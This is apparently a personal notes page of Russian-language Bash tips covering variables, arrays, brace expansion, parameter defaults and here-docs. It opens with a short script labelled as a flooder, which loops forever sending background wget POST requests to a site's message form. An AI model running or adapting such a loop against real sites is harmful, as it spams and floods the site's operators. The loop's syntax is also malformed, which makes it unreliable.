advanched Bash tips
Создано: 25-12-2009 16:38:35 изменено: 25-12-2009 16:49:14  Метки: bash

#!/bin/sh
# засиралка
n="0"
while true n=$[$n+1] do wget --post-data="ok=1&email=&sender=Balthazar&content=$n%20%F0%D2%C5%D7%C5%C4+%CF%D 4+%E2%C1%CC%D8%D4%C1%DA%C1%D2%DE%C5%C7%C1..." http://site.ru/index & done 

$*  #  Все аргументы в виде слова
$@  #  Все аргументы в виде списка
$?  #  код завершения
$$  #  id процесса

(a=hello; echo $a)  #  группа команд - выполняются в субшеле

Array=(element1 element2 element3) #инициализация массивов
echo ${Array[0]}

# перебор
echo {file1,file2}\ :{\ A," B",' C'}
file1 : A file1 : B file1 : C file2 : A file2 : B file2 : C

echo $(( 2#101011 ))  # База системы счисления
let "t2 = ((a = 9, 15 / 3))"  # Присваивает значение переменной "a" и вычисляет "t2".

:
echo $?   # 0

: ${username=`whoami`}
# ${username=`whoami`}   без символа : выдает сообщение об ошибке,
#                        если "username" не является командой...
echo ${username-`whoami`}
# Вывод результата работы команды `whoami`, если переменная $username не установлен

: ${HOSTNAME?} ${USER?} ${MAIL?}
#Вывод сообщения об ошибке, если одна или более переменных не определены.

: > data.xxx   # Файл "data.xxx" -- пуст
# Тот же эффект имеет команда cat /dev/null >data.xxx
# Однако в данном случае не производится создание нового процесса, поскольку ":" является встроенной командой.

: >> data.xxx   # если задано имя существующего файла, то эта комбинация на него никак не влияет. Если задано имя несуществующего файла, то он создается.

# Чтение строк из файла /etc/fstab.
File=/etc/fstab
{               #Вложенные блоки и перенаправление ввода-вывода
read line1
read line2
} < $File
echo "Первая строка в $File :"
echo "$line1"
echo
echo "Вторая строка в $File :"
echo "$line2"

{} \;  #  pathname -- полное имя файла

cat <<'Endofmessage' #вывод встроенного документа без подстановки параметров 
Привет, $NAME.
Примите поздравления от $RESPONDENT.
Endofmessage

message=Hello  # механизм косвенных ссылок
Hello=Goodbye
echo "$message"
echo "${!message}"


1222 просмотров комментировать